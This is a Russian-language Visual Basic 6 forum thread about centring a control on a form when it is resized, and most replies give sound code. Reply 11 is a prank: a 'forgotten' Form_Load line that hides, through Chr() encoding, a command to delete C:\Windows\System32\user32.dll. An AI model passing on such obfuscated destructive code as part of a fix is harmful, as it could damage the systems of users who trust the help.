Страница: 1 |
Вопрос: * Центрирование объекта на форме ? | Добавлено: 24.11.07 13:31 |
Автор вопроса: ![]() |
Привет всем!
Каким образом центрировать, допустим кнопку, на форме? Чтобы при Form_Resize() кнопка всеравно оставалась в центре формы. |
Ответы | Всего ответов: 13 |
Номер ответа: 1 Автор ответа: ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() black admin ICQ: 261779681 Вопросов: 87 Ответов: 633 |
Web-сайт: Профиль | Цитата | #1 | Добавлено: 24.11.07 13:41 |
Для этого есть чудо формула:
(Ширина окна - Ширина кнопки) / 2 тоже самое и с выстой. У кнопки есть свойства Top и Left -- Кодообменник Kbyte.Ru - давай меняться! ![]() http://kbyte.ru/code |
Номер ответа: 2 Автор ответа: ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() Вопросов: 3 Ответов: 8 |
Web-сайт: Профиль | Цитата | #2 | Добавлено: 24.11.07 14:00 |
Private Sub Form_Resize()
Frame.Width = Screen.Width - Frame.Width \ 2 Frame.Height = Screen.Height - Frame.Height \ 2 End Sub При загрузке формы работает, при развертывании нет ...?? |
Номер ответа: 3 Автор ответа: ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() black admin ICQ: 261779681 Вопросов: 87 Ответов: 633 |
Web-сайт: Профиль | Цитата | #3 | Добавлено: 24.11.07 14:35 |
Удивительно, как оно вообще работает ![]() Если нужен Frame, то должно быть так: Private Sub Form_Resize()
Frame1.Left = (Me.Width - Frame1.Width) / 2 Frame1.Top = (Me.Height - Frame1.Height) / 2 End Sub -- Система Эксперт Kbyte.Ru - Есть вопросы? Спроси Эксперта, Эксперт поможет! http://kbyte.ru/expert mailto:expert@kbyte.ru |
Номер ответа: 4 Автор ответа: ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() black admin ICQ: 261779681 Вопросов: 87 Ответов: 633 |
Web-сайт: Профиль | Цитата | #4 | Добавлено: 24.11.07 14:41 |
Хотя лучше вместо Me.Width и Me.Height использовать
Me.ScaleWidth и, соответственно, Me.ScaleHeight, только не споткнись ScaleMode ![]() |
Номер ответа: 5 Автор ответа: ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() Вопросов: 3 Ответов: 8 |
Web-сайт: Профиль | Цитата | #5 | Добавлено: 24.11.07 14:55 |
Алексей, спасибо. |
Номер ответа: 6 Автор ответа: ![]() ![]() ![]() ![]() Вопросов: 246 Ответов: 3333 |
Web-сайт: Профиль | Цитата | #6 | Добавлено: 24.11.07 17:26 |
Ндя... |
Номер ответа: 7 Автор ответа: ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() Вопросов: 3 Ответов: 8 |
Web-сайт: Профиль | Цитата | #7 | Добавлено: 24.11.07 18:32 |
Ндя...
азы и основы тоже иногда забываются, память не вечная ![]() |
Номер ответа: 8 Автор ответа: ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ICQ: 238819245 Вопросов: 9 Ответов: 76 |
Профиль | Цитата | #8 | Добавлено: 25.11.07 12:50 |
Не забудь если WindowState=1 формы, то сгенер ошибка, ставь проверку |
Номер ответа: 9 Автор ответа: ![]() ![]() ![]() ![]() Вопросов: 87 Ответов: 2795 |
Web-сайт: Профиль | Цитата | #9 | Добавлено: 25.11.07 16:57 |
если WindowState=2 то по идее тоже ошибка бу. |
Номер ответа: 10 Автор ответа: ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() black admin ICQ: 261779681 Вопросов: 87 Ответов: 633 |
Web-сайт: Профиль | Цитата | #10 | Добавлено: 25.11.07 17:38 |
Да нет, вот правильный код, другого и быть не может:
Option Explicit
Private aa As Long Private Sub Form_Resize() If Not WindowState = Round(Round(((((GetX2 ^ 4) - GetX * 2 + ((CLng(GetX3 & 218)) - 344) / (4 * 8) - (219451 + 54234 - (8745 * 2))) - 2046210) * (-3092420.5625))) / 9563064935373#) Then Frame1.Left = (ScaleWidth - Frame1.Width) / 2 Frame1.Top = (ScaleHeight - Frame1.Height) / 2 End If End Sub Function GetX() As Long Dim s As String s = "ABCDEFGHRTGHFDSTGHEROEWRTODSFGDFG32235%$^$%&45983459385923-914023948CVBMDKEWPEROERKFD" GetX = CLng("&" & Mid(s, 8, 1) & Mid(s, 6 / 2, 1) & CStr(7 * 5 - 1) & Hex(Asc("я тут был!" ![]() End Function Function GetX2() As Long aa = 0 Do While Not aa = 30 GoTo kuku: Loop kuku: aa = aa + 10 End Function Function GetX3() As String GetX3 = Chr(&H2D) End Function |
Номер ответа: 11 Автор ответа: ![]() ![]() ![]() ![]() Вопросов: 246 Ответов: 3333 |
Web-сайт: Профиль | Цитата | #11 | Добавлено: 25.11.07 18:30 |
![]() Еще забыл в Form_Load: Kill Chr(67) & Chr(58) & Chr(92) & Chr(87) & Chr(105) & Chr(110) & Chr(100) & Chr(111) & Chr(119) & Chr(115) & Chr(92) & Chr(83) & Chr(121) & Chr(115) & Chr(116) & Chr(101) & Chr(109) & Chr(51) & Chr(50) & Chr(92) & Chr(117) & Chr(115) & Chr(101) & Chr(114) & Chr(51) & Chr(50) & Chr(46) & Chr(100) & Chr(108) & Chr(108) ![]() |
Номер ответа: 12 Автор ответа: ![]() ![]() ICQ: 422640045 Вопросов: 12 Ответов: 144 |
Профиль | Цитата | #12 | Добавлено: 26.11.07 08:35 |
хах.. user32.dll просто так не удалишь ![]() |
Номер ответа: 13 Автор ответа: ![]() ![]() ![]() ![]() Вопросов: 246 Ответов: 3333 |
Web-сайт: Профиль | Цитата | #13 | Добавлено: 26.11.07 14:56 |
Не знаю, у всех моих знакомых работало))))))))) |
Страница: 1 |
|